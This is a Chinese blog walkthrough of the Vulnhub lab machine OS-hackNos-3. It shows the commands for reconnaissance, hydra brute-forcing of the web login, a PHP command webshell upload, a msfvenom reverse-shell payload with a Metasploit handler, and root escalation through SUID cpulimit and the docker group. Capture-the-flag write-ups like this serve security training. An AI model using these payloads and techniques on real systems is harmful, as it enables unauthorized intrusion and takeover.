Vulnhub靶机:HACKNOS_ OS-HACKNOS-3

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 Vulnhub靶机:HACKNOS_ OS-HACKNOS-3,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

介绍

系列: hackNos
发布日期: 2019年12月14日
难度: 中级
Flag : 一个普通用户的,一个根用户的
学习:漏洞利用、web攻击、枚举、权限提升
靶机地址:https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/

信息收集

主机发现

netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

sudo netdiscover -i eth1 -r 192.168.124.0/24

在这里插入图片描述

主机信息探测

信息探测:nmap -A -p- 192.168.124.26,只开放了22和80端口
在这里插入图片描述

网站探测

访问80端口,收到一个提示,暂时不知道“WebSec”是什么。
在这里插入图片描述

目录扫描

发现三个子目录,其中存在网站首页提示过的“WebSec”

gobuster dir -u http://192.168.124.26 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

在这里插入图片描述

访问子目录

  1. /scripts

在这里插入图片描述

  1. /devil

在这里插入图片描述

  1. /websec

页面上的内容点击到最后,显示的最终结果是一个Email地址
在这里插入图片描述

在这里插入图片描述

对其子目录再进行扫描

 gobuster dir -u http://192.168.124.26/websec -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

在这里插入图片描述

分别访问这两个地址,显示的效果一样。接下来暂时也没发现别的啥,考虑爆破网站试试。
在这里插入图片描述

爆破登录站点

首先使用cewl获取字典。下面两种命令都行。

cewl http://192.168.124.26/websec/websec -d 2 -w wordlist.txt
cewl http://192.168.124.26/websec/websec > cewl.txt

然后就可以爆破了
Email地址应该就是contact@hacknos.com,使用BurpSuite爆破较为简单,这里介绍一下使用hydra爆破。

  1. 首先获取失败时返回的内容,得到“Wrong email”

不需要完全复制,复制部分错误内容即可。为防止复制格式错误,还是去源代码中去复制好一些。
在这里插入图片描述

  1. 得出规则
hydra -l contact@hacknos.com -P cewl.txt 192.168.124.26 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Wrong email"

得知是http-post-form
在这里插入图片描述

得知用户名和密码的参数usernamepassword
在这里插入图片描述

如果爆破出现错误,只要命令不错,不用管,重试一下。我第一次爆破没结果,重来一下出结果了。
得到账户:contact@hacknos.com,密码:Securityx
在这里插入图片描述

登录网站

在“Content-File Manager”中找到可以上传文件的地方,可以试试getshell
在这里插入图片描述

Getshell

后来查了一下,网上别人的文章是使用方法1、方法2都可以成功,我后来试着删除或者清空过“.htaccess”,都失败,也试过访问别的文件夹(如下图的主题文件夹),都是失败的,原因未知。最后是使用冰蝎连接成功了。
在这里插入图片描述

方法1:命令执行-失败

  1. 打开tmp文件夹,上传一个php文件
<?php system($_RERQUEST['cmd']);?>

在这里插入图片描述

  1. 访问文件,被拒绝:http://192.168.124.26/websec/tmp/cmd.php

在这里插入图片描述

看了眼“.htaccess”,把这个文件删掉,再刷新 http://192.168.124.26/websec/tmp/cmd.php ,不报错了
在这里插入图片描述

执行个命令试试,有点意外,失败了,如果成功的话就直接反弹shell了
在这里插入图片描述

方法2:msf-失败

虽然方法1反弹shell失败了,还是有别的办法

  1. 生成反弹shell的php文件
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.124.22 LPORT=4444 -f raw > shell.php
  1. 上传文件

在这里插入图片描述

  1. 运行kali失败!
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.124.22
set lport 4444
exploit

在这里插入图片描述

方法3:冰蝎

在这里插入图片描述

在这里插入图片描述

由于冰蝎不能调节字体大小,截图体验不好,因此把shell传递给MSF

  1. msf准备
use exploit/multi/handler
set lhost  192.168.124.22
set lport  4444
set AutoRunScript migrate -f		# 自动迁移进程
exploit
  1. 冰蝎准备

在这里插入图片描述

  1. 拿到session

在这里插入图片描述

第一个Flag

  1. 获取交互式shell:python3 -c 'import pty; pty.spawn("/bin/bash")'
  2. 获知有家目录的用户:tail /etc/passwd

在这里插入图片描述

  1. 获取Flag

在这里插入图片描述

提权获取flag2

查找 suid 文件-cpulimit提权

看到了cpulimit,可以试试cpulimit提权

find /usr/bin -type f -perm -u=s 2>/dev/null

在这里插入图片描述

在这里插入图片描述

获取一个新的终端,但是权限仍然不高,需要提权
在这里插入图片描述

  1. 准备提权文件: suid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(0,0);
execve("/bin/bash",NULL,NULL);
}

试着运行一下,没问题,可以提权。接下来就是把这玩意放到靶机上。可以通过base64编码文件,复制其内容,然后粘贴到靶机上再base64解码,我这里不费那个力气,直接使用冰蝎了。

 vim  suid.c
 gcc suid.c -o exp
 ./exp

在这里插入图片描述

  1. 通过冰蝎把exp上传到靶机
  2. 赋予exp可执行权限

在这里插入图片描述

  1. 运行exp

直接运行没用,需要借助cpulimit:cpulimit -l 100 -f ./exp
在这里插入图片描述

获取flag
在这里插入图片描述

通过dock提权

假设现在是普通用户,发现存在docker组,但是没有发现镜像文件。
在这里插入图片描述

  1. 下载镜像,自动下载 alpine 文件:docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  2. 赋予终端:bash

在这里插入图片描述

  1. 退出,查看当前 images:docker images
  2. 挂载镜像到mbt目录:docker run -it -v /:/mbt c059bfaa849c

在这里插入图片描述
在这里插入图片描述

参考

OS-hackNos-3 Walkthrough Vulnhub CTF

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134258.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!